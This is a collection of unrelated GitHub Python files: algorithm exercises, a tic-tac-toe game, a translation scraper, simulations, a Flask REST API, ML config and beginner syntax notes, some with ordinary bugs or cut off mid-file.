+{"seq_id":"21214112205","text":"# undirected graph\ngraph = {'A': set(['B', 'C']),\n 'B': set(['A', 'D', 'E']),\n 'C': set(['A', 'F']),\n 'D': set(['B']),\n 'E': set(['B', 'F']),\n 'F': set(['C', 'E'])}\nprint(graph)\n\n\ndef bfs(graph, start):\n visited = []\n queue = [start]\n\n while queue:\n n = queue.pop(0)\n print(n)\n if n not in visited:\n visited.append(n)\n queue += graph[n] - set(visited)\n print(queue)\n return visited\n\n\nrlt = bfs(graph, \"A\")\nprint(rlt)\nprint(\"\")\n\n''''\n{'A': {'C', 'B'}, 'B': {'D', 'E', 'A'}, 'C': {'F', 'A'}, 'D': {'B'}, 'E': {'F', 'B'}, 'F': {'C', 'E'}}\nA\n['C', 'B']\nC\n['B', 'F']\nB\n['F', 'D', 'E']\nF\n['D', 'E', 'E']\nD\n['E', 'E']\nE\n['E']\nE\n['A', 'C', 'B', 'F', 'D', 'E']\n\n'''\n","repo_name":"oais7koo/1101_algorithms","sub_path":"ps2010_BFS_PY_debug.py","file_name":"ps2010_BFS_PY_debug.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"9758502412","text":"##Tic Tac Toe\n#Name: John Nguyen\n#Date: Fed 10\n\n#1. (Var) Setup the empty board as a list\ntheBoard = ['0', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ']\nexampleBoard = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\n\n#2. (fun) Print the board.\n#in: a 10 item list (either x, o or ' ')\n#do: print a graphic for the board\n#out: none\ndef printBoard(board):\n print(' ', board[7], ' | ', board[8], ' | ', board[9])\n print('------------------')\n print(' ', board[4], ' | ', board[5], ' | ', board[6])\n print('------------------')\n print(' ', board[1], ' | ', board[2], ' | ', board[3])\n\nprintBoard (exampleBoard)\n\n#3a. (fun) Determine if player is X or O\nplayer1 = ' '\nplayer2 = ' '\n\n#in: None\n#do: get user choice, assign X/O to player1 and 2\n#out: None\ndef chooseLetter(letter):\n global player1\n global player2\n if letter == 'X' :\n player1 = 'X'\n player2 = 'O'\n else :\n player1 = 'O'\n player2 = 'X'\n\n\n#3b. (fun) Choose starting player 1 or 2\ndef chooseStart(start):\n pass\n\n\n#4. (fun) Get player move\n#in: board as list, player as X or O\n#do: get user choice (1-9),\n# check if the space is empty,\n# update the board with the X or O at the user location\n#out: none\ndef playerMove(board, case, player):\n board[case] = player\n\n\n#5. (fun) Check Winner\n#in: board as list, player as X or O\n#do: check all possible win scenarios\n#out: True for win, False otherwise\ndef checkWin(board, player):\n #Horizontal check :\n if board[1] == player and board[2] == player and board[3] == player:\n return True\n elif board[4] == player and board[5] == player and board[6] == player:\n return True\n elif board[7] == player and board[8] == player and board[9] == player:\n return True\n #Vertical check :\n elif board[1] == player and board[4] == player and board[7] == player:\n return True\n elif board[2] == player and board[5] == player and board[8] == player:\n return True\n elif board[3] == player and board[6] == player and board[9] == player:\n return True\n #Cross check :\n elif board[1] == player and board[5] == player and board[9] == player:\n return True\n elif board[3] == player and board[5] == player and board[7] == player:\n return True\n #The game continue\n else:\n return False\n\n\n#6. (fun) Check if board is full\n#Because there are 10 list items for 9 spots,\n#the first item theBoard[0] will always be ' '\n#in: board as list\n#do: count number of empty spaces, if there is no more spaces\n#out: return True if board is full, False otherwise\ndef checkFull(board):\n if board.count(' ') == 0 :\n return True\n else:\n return False\n\n\n#7. Main function\nprint ()\nprint ('Type main() ')\n\ndef main():\n global player1\n global player2\n\n #print Welcome\n print ('Welcome to Tic Tac Toe!')\n print ()\n #print instructions\n print ('Please follow these instructions :')\n print ('1. Player move are between 1 and 9.')\n print (' This is example board :')\n printBoard (exampleBoard)\n print ('2. Player 1 will go first')\n print ()\n #game play\n\n #get player letter choice\n letterChoice = input ('Choose your letter : ')\n chooseLetter (letterChoice)\n\n #while board is not full\n while checkFull (theBoard) == False :\n ###first player move\n case = int(input('Player 1 move : '))\n #player chooses move\n playerMove (theBoard, case, player1)\n #print board\n printBoard (theBoard)\n #check win :\n if checkWin (theBoard, player1) == True :\n print ('Player 1 win!!!!')\n print ('The End')\n break\n #check board full\n checkFull (theBoard)\n if checkFull (theBoard) == True :\n break\n\n ###second player move\n case = int(input('Player 2 move : '))\n #player chooses move\n playerMove (theBoard, case, player2)\n #choose again :\n printBoard (theBoard)\n #check win :\n if checkWin (theBoard, player2) == True :\n print ('Player 2 win!!!!')\n print ('The End')\n break\n #check board full\n checkFull (theBoard)\n if checkFull (theBoard) == True :\n print('The End')\n break\n\n","repo_name":"CRHS-Winter-2021/project---tic-tac-toe-bang5308","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"19303642001","text":"# coding=utf-8\nimport requests\nimport json\nimport sys\n\nqueryStr = sys.argv[1]\n\n##转而使用手机页面,则发现少了许多参数\nheadersMy = {\"User-Agent\": \"Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Mobile Safari/537.36\"}\nfromUrl = \"https://fanyi.baidu.com/langdetect\"\ndataFrom = {\n \"query\" : queryStr\n}\nrFrom = requests.post(fromUrl, data=dataFrom, headers=headersMy)\ndictFromRes = json.loads(rFrom.content.decode())\nfromLg = dictFromRes[\"lan\"]\nprint(fromLg)\n\ndataMy = {\n \"from\" : fromLg,\n \"to\" : \"ch\", #en\n \"query\" : queryStr\n # \"transtype\" : \"translang\",\n # \"simple_means_flag\" : \"3\",\n # \"token\" : \"caa42a6acb21f0acf706908166429b31\"\n}\npostUrl = \"https://fanyi.baidu.com/basetrans\"\nr = requests.post(postUrl, data=dataMy, headers=headersMy)\n# print(r.content.decode())\ndictRes = json.loads(r.content.decode())\nret = dictRes[\"trans\"][0][\"dst\"]\nprint(\"翻译结果为:\", ret)\n\n","repo_name":"corder-ybh/gpst","sub_path":"spider/03_fanyi.py","file_name":"03_fanyi.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"28537432768","text":"'''\n Runtime: \n time: helper function iterates the given tree, takes O(n), n is the number of nodes. \n iterating temp takes O(h), h is the height of the tree. So total is O(n)\n space: temp takes O(n)\n Analysis:\n given: root of a binary tree\n ask: return the level at which maximize the sum of nodes\n Input: root = [1,7,0,7,-8,null,null]\n Output: 2\n to accomplish this: use a dict to keep track of relations between level and nodes, key for level, \n value for node.val. the find the level that has the max sum of node.vals\n'''\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nfrom collections import defaultdict\nclass Solution:\n def maxLevelSum(self, root: TreeNode) -> int:\n temp = defaultdict(list)\n res = 1\n currentSum = root.val\n \n def helper(node, level):\n temp[level].append(node.val)\n if node.left:\n helper(node.left, level+1)\n if node.right: \n helper(node.right, level+1)\n helper(root, 1)\n \n for level, total in temp.items():\n if sum(total) > currentSum:\n res = level\n currentSum = sum(total)\n \n return res\n","repo_name":"aquariumm/Coding-Interview-Prep","sub_path":"Naive Solution/Maximum Level Sum of a Binary Tree/Maximum Level Sum of a Binary Tree.py","file_name":"Maximum Level Sum of a Binary Tree.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"12644156953","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Apr 2 15:00:03 2023\n\n@author: erica\n\"\"\"\n\nimport random\nimport matplotlib.pyplot as plt\nimport time\nimport math\n\n#set the pseudo-random seed for reproducibility\nrandom.seed(0)\n\n# Create a variable to store the number of agents\n#n_agents = 10\n\n#iterations to make the model \"move\" more than once. \nn_iterations = 1000\n\n# Variables for constraining movement.\n# The minimum x coordinate.\nx_min = 0\n# The minimum y coordinate.\ny_min = 0\n# The maximum x coordinate.\nx_max = 99\n# The maximum y coordinate.\ny_max = 99\n\n\n\n # Calculate the Euclidean distance between (x0, y0) and (x1, y1)#\n # Functions to calculate the distance between each agent#\ndef get_distance(x0, y0, x1, y1):\n \"\"\"\n Calculates difference between input x0,y0 and x1,y1 coordinates\n \n Parameters\n ----------\n x0 : Number\n The x-coordinate of the first coordinate pair\n y0 : Number\n The y-coordinate of the first coordinate pair\n x1 : Number\n The x-coordinate of the second coordinate pair\n y1 : Number\n The y-coordinate of the second coordinate pair\n\n Returns:\n Euclidean distance between coordinates (x0, y0) and (x1,y1)\n \"\"\"\n\n # Calculate the difference in the x coordinates.\n dx = x0 - x1\n # Calculate the difference in the y coordinates.\n dy = y0 - y1\n # Square the differences, add the squares, calculate square root\n distance = ((dx * dx) + (dy * dy)) ** 0.5\n return distance\n \n \ndef get_both_distance():\n \"\"\"\n Finds the largest maximum distance and lowest minimum between all the agents'\n \n Returns\n minimum and maximum distance between all the agents\n \"\"\"\n max_distance = 0\n min_distance = math.inf\n for i in range(len(agents)):\n a = agents[i] #reassign a to first variable's position in range calculation\n for j in range(len(agents)):\n b = agents[j]\n #print(\"i\", i, \"j\", j)\n distance = get_distance(a[0], a[1], b[0], b[1])\n #print(\"distance between\", a, b, distance)\n max_distance = max(max_distance, distance)\n #print(\"max_distance\", max_distance)\n min_distance = min(min_distance, distance)\n #print(\"min_distance\", min_distance)\n return min_distance, max_distance\n #return max_distance\n\n #initialize agents#\n\n\n# Create a loop to run for a range of agents\nn_agents_range = range(500, 5000, 500)\n\n# Main Simulation Loop (in n_iterations)\n\nn_agents = 10\nagents = []\n\n\n # Create a list to store agents - agents are the randomly created x and y variables\n\nfor i in range(n_agents):\n agents.append([random.randint(0, 99), random.randint(0, 99)])\n \nfor ite in range(n_iterations):\n #move the agents\n for i in range(n_agents):\n if random.random() < 0.5:\n agents[i][0] = agents [i][0] +1\n else:\n agents[i][0] = agents [i][0] -1\n #move y\n if random.random() < 0.5:\n agents[i][1] = agents [i][1] +1\n else:\n agents[i][1] = agents [i][1] -1\n print(get_both_distance())\n \n# =============================================================================\n# # Apply movement constraints.\n# if agents[i][0] < x_min:\n# agents[i][0] = x_min\n# if agents[i][1] < y_min:\n# agents[i][1] = y_min\n# if agents[i][0] > x_max:\n# agents[i][0] = x_max\n# if agents[i][1] > y_max:\n# agents[i][1] = y_max\n# #print(agents)\n# \n# =============================================================================\n","repo_name":"ericaanderson/Module3","sub_path":"src/abm3/model3.py","file_name":"model3.py","file_ext":"py","file_size_in_byte":3715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"37369334997","text":"a = 5\nb = 10 ### cambiar el cero por otro numero\ntry:\n c = a / b\n print(\"El resultado es:\", c)\nexcept:\n print(\"Error al tratar de dividir por cero\")\nelse: # si no existe excepciones else se ejecuta.\n print(\"No ocurrio ningún error\")\nprint(\"Fin del programa\")","repo_name":"patricioyanez/PGY1121_004","sub_path":"EA3/EjemploTryExcept2.py","file_name":"EjemploTryExcept2.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"es","doc_type":"code","stars":6,"dataset":"github-code","pt":"1"}
+{"seq_id":"31335756277","text":"\"\"\" “Simulación y visualización del comportamiento de \r\nacciones de empresas mediante cadenas de \r\nMarkov y animaciones gráficas” \"\"\"\r\n\r\n\r\n\"\"\"Objetivo general:\r\nSimular y visualizar el comportamiento de las acciones de diferentes empresas \r\nutilizando cadenas de Markov y animaciones gráficas\"\"\"\r\n\r\n# Importar bibliotecas necesarias\r\nimport numpy as np # Procesar numeros\r\nimport matplotlib.pyplot as plt # Para hacer graficos \r\nimport matplotlib.animation as anim # Para hacer graficas en vivo\r\nfrom matplotlib import style # Para agregar estilo a las graficas \r\n\r\n# Definir los estados posibles\r\nstates = [\"Incremento\", \"Decremento\", \"Sin cambios\"]\r\n\r\n# Definir las matrices de transición para cada MarkovChain\r\norMatrix = [[0.40, 0.40, 0.20],\r\n [0.39, 0.38, 0.23],\r\n [0.52, 0.25, 0.23]]\r\n\r\nggMatrix = [[0.54, 0.45, 0.01],\r\n [0.57, 0.43, 0.0],\r\n [1.0, 0.0, 0.0]]\r\n\r\nfbMatrix = [[0.35, 0.58, 0.07],\r\n [0.54, 0.41, 0.05],\r\n [0.5, 0.42, 0.08]]\r\n\r\ninMatrix = [[0.33, 0.47, 0.20],\r\n [0.47, 0.35, 0.18],\r\n [0.36, 0.41, 0.23]]\r\n\r\n\r\n# Definir la clase MarkovChain para modelar las cadenas de Markov\r\nclass MarkovChain():\r\n def __init__(self, transMat, states):\r\n self.transMat = np.atleast_1d(transMat) # Asigna la matriz de transición al atributo \"transMat\" de la instancia\r\n self.states = states # Asigna la lista de estados al atributo \"states\" de la instancia\r\n self.stateIndex = {self.states[i]: i for i in range(len(self.states))}\r\n # Crea un diccionario para mapear cada estado a su índice correspondiente\r\n self.state_dict = {i: self.states[i] for i in range(len(self.states))}\r\n # Crea un diccionario para mapear cada índice a su estado correspondiente\r\n\r\n\r\n def generateNext(self, currState): # Basada en el estado anterior y la matriz de transición pasa a otro estado\r\n return np.random.choice(self.states, p=self.transMat[self.stateIndex[currState], :])\r\n\r\n # Genera cadenas de Markov simuladas en una sola ejecución\r\n def simulateChain(self, currState, n): \r\n generations = [] # Lista para almacenar los estados generados en cada iteración\r\n generations.append(currState) # Agregar el estado inicial a la lista de generaciones\r\n xValues = [] # Lista para almacenar los valores de x (iteraciones)\r\n xValues.append(0) # Agregar el valor inicial de x (0) a la lista de valores x\r\n for i in range(n):\r\n nextGen = self.generateNext(currState) # Generar el siguiente estado usando el método generateNext()\r\n generations.append(nextGen) # Agregar el siguiente estado a la lista de generaciones\r\n xValues.append((i + 1) * 250) # Calcular y agregar el valor de x correspondiente a esta iteración\r\n currState = nextGen # Actualizar el estado actual para la próxima iteración\r\n\r\n return xValues, generations, currState\r\n\r\n\r\n# Crear instancias de MarkovChain para cada empresa\r\nOracle = MarkovChain(orMatrix, states) \r\nGoogle = MarkovChain(ggMatrix, states)\r\nFacebook = MarkovChain(fbMatrix, states)\r\nIntel = MarkovChain(inMatrix, states)\r\n\r\n\r\n# Simular las cadenas de Markov para cada empresa con un estado inicial y un número de iteraciones o estados para inicial\r\norX, orY, orLatest = Oracle.simulateChain(\"Sin cambios\", 200)\r\nggX, ggY, ggLatest = Google.simulateChain(\"Sin cambios\", 200)\r\nfbX, fbY, fbLatest = Facebook.simulateChain(\"Sin cambios\", 200)\r\ninX, inY, inLatest = Intel.simulateChain(\"Sin cambios\", 200)\r\n\r\n\r\n# Establecer el valor inicial para el precio de las acciones de cada empresa\r\norY[0] = 45000\r\nggY[0] = 45000\r\nfbY[0] = 45000\r\ninY[0] = 45000\r\n\r\n\r\n# Actualizar los precios de las acciones de Oracle en cada iteración según el estado para poderlos plotear posteriormente\r\nfor i in range(1, len(orY)):\r\n if orY[i] == \"Incremento\":\r\n orY[i] = orY[i - 1] + 1000000\r\n elif orY[i] == \"Decremento\":\r\n orY[i] = orY[i - 1] - 1000000\r\n else:\r\n orY[i] = orY[i - 1]\r\n\r\n\r\n# Actualizar los precios de las acciones de Google en cada iteración según el estado para poderlos plotear posteriormente\r\nfor i in range(1, len(ggY)):\r\n if ggY[i] == \"Incremento\":\r\n ggY[i] = ggY[i - 1] + 1000000\r\n elif ggY[i] == \"Decremento\":\r\n ggY[i] = ggY[i - 1] - 1000000\r\n else:\r\n ggY[i] = ggY[i - 1]\r\n\r\n\r\n# Actualizar los precios de las acciones de Facebook en cada iteración según el estado para poderlos plotear posteriormente\r\nfor i in range(1, len(fbY)):\r\n if fbY[i] == \"Incremento\":\r\n fbY[i] = fbY[i - 1] + 1000000\r\n elif fbY[i] == \"Decremento\":\r\n fbY[i] = fbY[i - 1] - 1000000\r\n else:\r\n fbY[i] = fbY[i - 1]\r\n\r\n\r\n# Actualizar los precios de las acciones de Intel en cada iteración según el estado para poderlos plotear posteriormente\r\nfor i in range(1, len(inY)):\r\n if inY[i] == \"Incremento\":\r\n inY[i] = inY[i - 1] + 1000000\r\n elif inY[i] == \"Decremento\":\r\n inY[i] = inY[i - 1] - 1000000\r\n else:\r\n inY[i] = inY[i - 1]\r\n\r\n\r\n# Definir la función de animación para actualizar los gráficos en cada iteración \r\ndef animate(i):\r\n global orLatest, ggLatest, fbLatest, inLatest\r\n\r\n orX.append(orX[-1] + 250) # Agrega el siguiente valor de x (iteración) a la lista orX\r\n latest = Oracle.generateNext(orLatest) # Genera el siguiente estado utilizando el método generateNext()\r\n orLatest = latest # Actualiza el estado actual (orLatest) con el estado generado\r\n if orLatest == \"Incremento\":\r\n orY.append(orY[-1] + 1000000) # Si el estado es \"Incremento\", agrega un valor incrementado a la lista orY\r\n elif orLatest == \"Decremento\":\r\n orY.append(orY[-1] - 1000000) # Si el estado es \"Decremento\", agrega un valor decrementado a la lista orY\r\n else:\r\n orY.append(orY[-1]) # Si el estado es \"Sin cambios\", agrega el mismo valor anterior a la lista orY\r\n\r\n ggX.append(ggX[-1] + 250)\r\n latest = Google.generateNext(ggLatest)\r\n ggLatest = latest\r\n if ggLatest == \"Incremento\":\r\n ggY.append(ggY[-1] + 1000000)\r\n elif ggLatest == \"Decremento\":\r\n ggY.append(ggY[-1] - 1000000)\r\n else:\r\n ggY.append(ggY[-1])\r\n\r\n fbX.append(fbX[-1] + 250)\r\n latest = Facebook.generateNext(fbLatest)\r\n fbLatest = latest\r\n if fbLatest == \"Incremento\":\r\n fbY.append(fbY[-1] + 1000000)\r\n elif fbLatest == \"Decremento\":\r\n fbY.append(fbY[-1] - 1000000)\r\n else:\r\n fbY.append(fbY[-1])\r\n\r\n inX.append(inX[-1] + 250)\r\n latest = Intel.generateNext(inLatest)\r\n inLatest = latest\r\n if inLatest == \"Incremento\":\r\n inY.append(inY[-1] + 1000000)\r\n elif inLatest == \"Decremento\":\r\n inY.append(inY[-1] - 1000000)\r\n else:\r\n inY.append(inY[-1])\r\n\r\n ax1.clear()\r\n ax2.clear()\r\n ax3.clear()\r\n ax4.clear()\r\n\r\n ax1.plot(orX, orY, color=\"red\", label='Oracle')\r\n ax2.plot(ggX, ggY, color=\"green\", label='Google')\r\n ax3.plot(fbX, fbY, color=\"blue\", label='Facebook')\r\n ax4.plot(inX, inY, color=\"cyan\", label='Intel')\r\n\r\n ax1.legend(loc='best')\r\n ax2.legend(loc='best')\r\n ax3.legend(loc='best')\r\n ax4.legend(loc='best')\r\n\r\n\r\n# Configurar el estilo del gráfico y crear la figura y los ejes\r\n# Crear la animación y mostrar el gráfico\r\nplt.style.use('fivethirtyeight')\r\nfig, (ax1, ax2, ax3, ax4) = plt.subplots(4, 1) # Se hace las figuras con los 4 subplots \r\nfig.suptitle('Comportamiento de Acciones') # Se asigna un titulo \r\n\r\nani = anim.FuncAnimation(fig, animate, interval= 50) # Se tiene la figura, la función que se encargará de ir iterando cada vez más y el intervalo en el que se verá la animación\r\n\r\nplt.show()\r\n\r\n\"\"\"Conclusión:\r\nOracle: Está estable a tráves del día pero tiende a mantenerse cerca del valor donde inicio \r\nGoogle: Va a la alza\r\nFacebook: Va a la baja\r\nIntel: Se mantiene\"\"\"\r\n","repo_name":"vianymaravilla27/Procesos_Estocasticos","sub_path":"Proyecto Final/proyectofinal_final.py","file_name":"proyectofinal_final.py","file_ext":"py","file_size_in_byte":8036,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"6488495279","text":"'''DIGIT STATISTICS\n\nGiven the numbers \"a\" and \"n\" find out how many times each digit from zero to\nnine is the last digit of the number in a sequence [ a, a2, a3, ... an-1, an ]\n\nINPUT SAMPLE:\nYour program should accept as its first argument a path to a filename. Each line\nof input contains two space separated integers \"a\" and \"n\" E.g: \n\n2 5\n\nOUTPUT SAMPLE:\nFor each line of input print out how many times the digits zero, one, two ...\nnine occur as the last digit of numbers in the sequence E.g:\n\n10: 0, 1: 0, 2: 2, 3: 0, 4: 1, 5: 0, 6: 1, 7: 0, 8: 1, 9: 0\n\nIn this example, the sequence consists of numbers 2, 4, 8, 16 and 32. Among the\nlast digits, the digit two occurs twice, and each of the digits four, six and\neight occurs once.\n'''\ndef f(test='2 5'):\n a, n = test.rstrip('\\n').split(' ')\n a = int(a) - 2\n n = int(n)\n digits = [0,0,0,0,0,0,0,0,0,0]\n pattern = [[2,4,8,6],[3,9,7,1],[4,6],[5],[6],[7,9,3,1],[8,4,2,6],[9,1]]\n copies = n // len(pattern[a])\n for i in range(len(pattern[a])):\n digits[pattern[a][i]] = copies\n remainder = n % len(pattern[a]) \n for i in range(remainder):\n digits[pattern[a][i]] += 1\n result = ''\n for i in range(10):\n result+= str(i) + ': {}, '.format(digits[i])\n print(result[:-2])\n","repo_name":"mgorgei/codeeval","sub_path":"Hard/c144 Digit Statistics.py","file_name":"c144 Digit Statistics.py","file_ext":"py","file_size_in_byte":1275,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"1"}
+{"seq_id":"20390684282","text":"\nimport random\n\nimport numpy as np\nimport torch\nfrom torch.backends import cudnn\n\n# Random seed to maintain reproducible results\nrandom.seed(0)\ntorch.manual_seed(0)\n\nnp.random.seed(0)\n# If GPU is not availble, then use cpu\ndevice = torch.device(\"cuda\") if torch.cuda.is_available() else \"cpu\"\n\n\n# Turning on when the image size does not change during training can speed up training\ncudnn.benchmark = True\n# When evaluating the performance of the SR model, whether to verify only the Y channel image data\nonly_test_y_channel = True\n# Model architecture name\ng_arch_name = \"rrdbnet_x4\"\n# Model arch config\nin_channels = 3\nout_channels = 3\nchannels = 64\ngrowth_channels = 32\nnum_blocks = 23\nupscale_factor = 4\n# Current configuration parameter method\nmode = \"train\"\n# Experiment name, easy to save weights and log files\nexp_name = \"IRRDBNet_x4-psnr\"\n\nif mode == \"train\":\n # Dataset address\n train_gt_images_dir = f\"./data/IRSRGAN/train\"\n\n test_gt_images_dir = f\"./data/IRSRGAN/valid\"\n #test_lr_images_dir = f\"./data/Set5/LRbicx{upscale_factor}\"\n\n gt_image_size = 128\n batch_size = 32\n num_workers = 8\n\n # The address to load the pretrained model\n pretrained_g_model_weights_path = \"\"\n\n # Incremental training and migration training\n resume_g_model_weights_path = f\"./samples/IRRDBNet_x4-psnr/g_epoch_100.pth.tar\"\n\n # Total num epochs (200 iters)\n epochs = 250\n\n # loss function weights\n loss_weights = 1.0\n\n # Optimizer parameter\n model_lr = 2e-4\n model_betas = (0.9, 0.99)\n model_eps = 1e-8\n model_weight_decay = 0.0\n\n # EMA parameter\n model_ema_decay = 0.99998\n\n # Dynamically adjust the learning rate policy\n lr_scheduler_step_size = epochs // 5\n lr_scheduler_gamma = 0.5\n\n # How many iterations to print the training result\n train_print_frequency = 10\n valid_print_frequency = 10\n\nif mode == \"test\":\n # Test data address\n lr_dir = f\"./test_dir/lr_dir\"\n sr_dir = f\"./results/test/{exp_name}\"\n gt_dir = \"./test_dir/gt_dir\"\n\n g_model_weights_path = \"./results/pretrained_models/RRDBNet_x4-DFO2K-2e2a91f4.pth.tar\"\n","repo_name":"HeGuannan-duludulu/IRSRGAN","sub_path":"irrdbnet_config.py","file_name":"irrdbnet_config.py","file_ext":"py","file_size_in_byte":2110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"29512509425","text":"from AppFolder.Model.ResultsModel import LocalityRent,LocalityRent_schema,LocalityRents_schema\nfrom AppFolder import app,db\nfrom flask import request, jsonify\n\n\n# Create a LocalityRent\n@app.route('/localityRent', methods=['POST'])\ndef add_LocalityRent():\n\tlocalityId = request.json['localityId']\n\tsuburb = request.json['suburb']\n\tbedrooms =request.json['bedrooms']\n\tbathrooms =request.json['bathrooms']\n\tnumberOfHouses = request.json['numberOfHouses']\n\taverageRent = request.json['averageRent']\n\taverageRent75Percentile = request.json['averageRent75Percentile']\n\taverageRent50Percentile = request.json['averageRent50Percentile']\n\tnew_data = LocalityRent(localityId, suburb, bedrooms, bathrooms,numberOfHouses,averageRent,\n\t\taverageRent75Percentile,averageRent50Percentile)\n\tdb.session.add(new_data)\n\tdb.session.commit()\n\treturn LocalityRent_schema.jsonify(new_data)\n\n# Get LocalityRent\n@app.route('/localityRent/', methods=['GET'])\ndef get_LocalityRent(id):\n\tLR = LocalityRent.query.get(id)\n\tif LR:\n\t\treturn LocalityRent_schema.jsonify(LR)\n\telse:\n\t\treturn 'This id does not exist
'\n\n#Get all LocalityRents\n@app.route('/localityRents', methods=['GET'])\ndef get_LocalityRents():\n\tall_LR = LocalityRent.query.all()\n\tresult = LocalityRents_schema.dump(all_LR)\n\treturn jsonify(result.data)\n\n # Update a LocalityRent\n@app.route('/localityRent/', methods=['PUT'])\ndef update_LocalityRents(id):\n\tLR = LocalityRent.query.get(id)\n\tif LR:\n\t\tlocalityId = request.json['localityId']\n\t\tsuburb = request.json['suburb']\n\t\tbedrooms =request.json['bedrooms']\n\t\tbathrooms =request.json['bathrooms']\n\t\tnumberOfHouses = request.json['numberOfHouses']\n\t\taverageRent = request.json['averageRent']\n\t\taverageRent75Percentile = request.json['averageRent75Percentile']\n\t\taverageRent50Percentile = request.json['averageRent50Percentile']\n\t\tLR.localityId = localityId\n\t\tLR.suburb = suburb\n\t\tLR.bedrooms = bedrooms\n\t\tLR.bathrooms = bathrooms\n\t\tLR.numberOfHouses = numberOfHouses\n\t\tLR.averageRent = averageRent\n\t\tLR.averageRent75Percentile = averageRent75Percentile\n\t\tLR.averageRent50Percentile = averageRent50Percentile\n\t\tdb.session.commit()\n\t\treturn ResultsLocalityRent_schema.jsonify(LR)\n\telse:\n\t\treturn 'This LocalityRent does not exist
'\n\n\n# Delete LocalityRent\n@app.route('/localityRent/', methods=['DELETE'])\ndef delete_LocalityRent(id):\n\tLR = LocalityRent.query.get(id)\n\tif LR:\n\t\tdb.session.delete(LR)\n\t\tdb.session.commit()\n\t\treturn ResultsLocalityRent_schema.jsonify(LR)\n\telse:\n\t\treturn 'This LocalityRent does not exist
'\n","repo_name":"alankhoangfr/Rent","sub_path":"AppFolder/Routes/Results/LocalityRentRoutes.py","file_name":"LocalityRentRoutes.py","file_ext":"py","file_size_in_byte":2543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"415459910","text":"# pylint: disable=W0621,C0114,C0116,W0212,W0613\nimport cloudpickle # type: ignore\nimport pytest\nfrom impala_storage.schema1.impala_genotype_storage import \\\n ImpalaGenotypeStorage\nfrom impala_storage.schema2.impala2_genotype_storage import \\\n Impala2GenotypeStorage\n\n\n@pytest.mark.parametrize(\"storage_cls, storage_type\", [\n (ImpalaGenotypeStorage, \"impala\"),\n (Impala2GenotypeStorage, \"impala2\"),\n])\ndef test_genotype_storage_is_cpickle_serializable(storage_cls, storage_type):\n storage = storage_cls({\n \"id\": \"storage\",\n \"storage_type\": storage_type,\n \"impala\": {\n \"db\": \"db_name\",\n \"hosts\": [\"localhost\"],\n \"port\": 21050,\n \"pool_size\": 3,\n },\n \"hdfs\": {\n \"base_dir\": \"/studies\",\n \"host\": \"localhost\",\n \"port\": 8020,\n \"replication\": 1,\n }\n })\n _ = cloudpickle.dumps(storage)\n","repo_name":"iossifovlab/gpf","sub_path":"impala_storage/impala_storage/tests/test_storage_is_serializable.py","file_name":"test_storage_is_serializable.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"1"}
+{"seq_id":"29432987563","text":"\ntxt = \" prdelačka\"\ntxt.strip() # vymaže whitespace na začátku\ntxt.upper()\n\nage = 36\ntxt = \"My name is John, and I am {}\"\nprint(txt.format(age))\n\nfruits = {\"apple\", \"banana\", \"cherry\"}\nmore_fruits = [\"orange\", \"mango\", \"grapes\"]\nfruits.update(more_fruits) # add list items to set\n\ncar =\t{\n \"brand\": \"Ford\",\n \"model\": \"Mustang\",\n \"year\": 1964\n}\nprint(car.get(\"model\"))\n\n\ncar =\t{\n \"brand\": \"Ford\",\n \"model\": \"Mustang\",\n \"year\": 1964\n}\n\ncar[\"year\"] = 2020\n\ncar = {\n \"brand\": \"Ford\",\n \"model\": \"Mustang\",\n \"year\": 1964\n}\ncar[\"color\"] = \"red\" # add\n\ncar =\t{\n \"brand\": \"Ford\",\n \"model\": \"Mustang\",\n \"year\": 1964\n}\ncar.pop(\"model\") #remove\n\ncar =\t{\n \"brand\": \"Ford\",\n \"model\": \"Mustang\",\n \"year\": 1964\n}\ncar.clear() #remove all\n\ni = 1\nwhile i < 6:\n if i == 3:\n break\n i += 1 #loop till 3\n\n\n\ni = 0\nwhile i < 6:\n i += 1\n if i == 3:\n continue\nprint(i) #In the loop, when i is 3, jump directly to the next iteration.\n\n\nfruits = [\"apple\", \"banana\", \"cherry\"]\nfor x in fruits:\n print(x) #loop through items\n\n\n\ndef my_function(*kids):\n print(\"The youngest child is \" + kids[2]) # If you do not know the number of arguments that will be passed into your function, there is a prefix you can add in the function definition\n\n\n\ndef my_function(**kid):\n print(\"His last name is \" + kid[\"lname\"]) # If you do not know the number of keyword arguments that will be passed into your function, there is a prefix you can add in the function definition\n\n\n\nx = lambda a:a # Create a lambda function that takes one parameter (a) and returns it.\n\n\nclass MyClass:\n x = 5\n\np1 = MyClass()\nprint(p1.x) # Use the p1 object to print the value of x:\n\n\nclass Person:\n def __init__(self, fname):\n self.firstname = fname\n\n def printname(self):\n print(self.firstname)\n\nclass Student(Person):\n pass\n\nx = Student(\"Mike\")\nx.printname() #We have used the Student class to create an object named x., What is the correct syntax to execute the printname method of the object 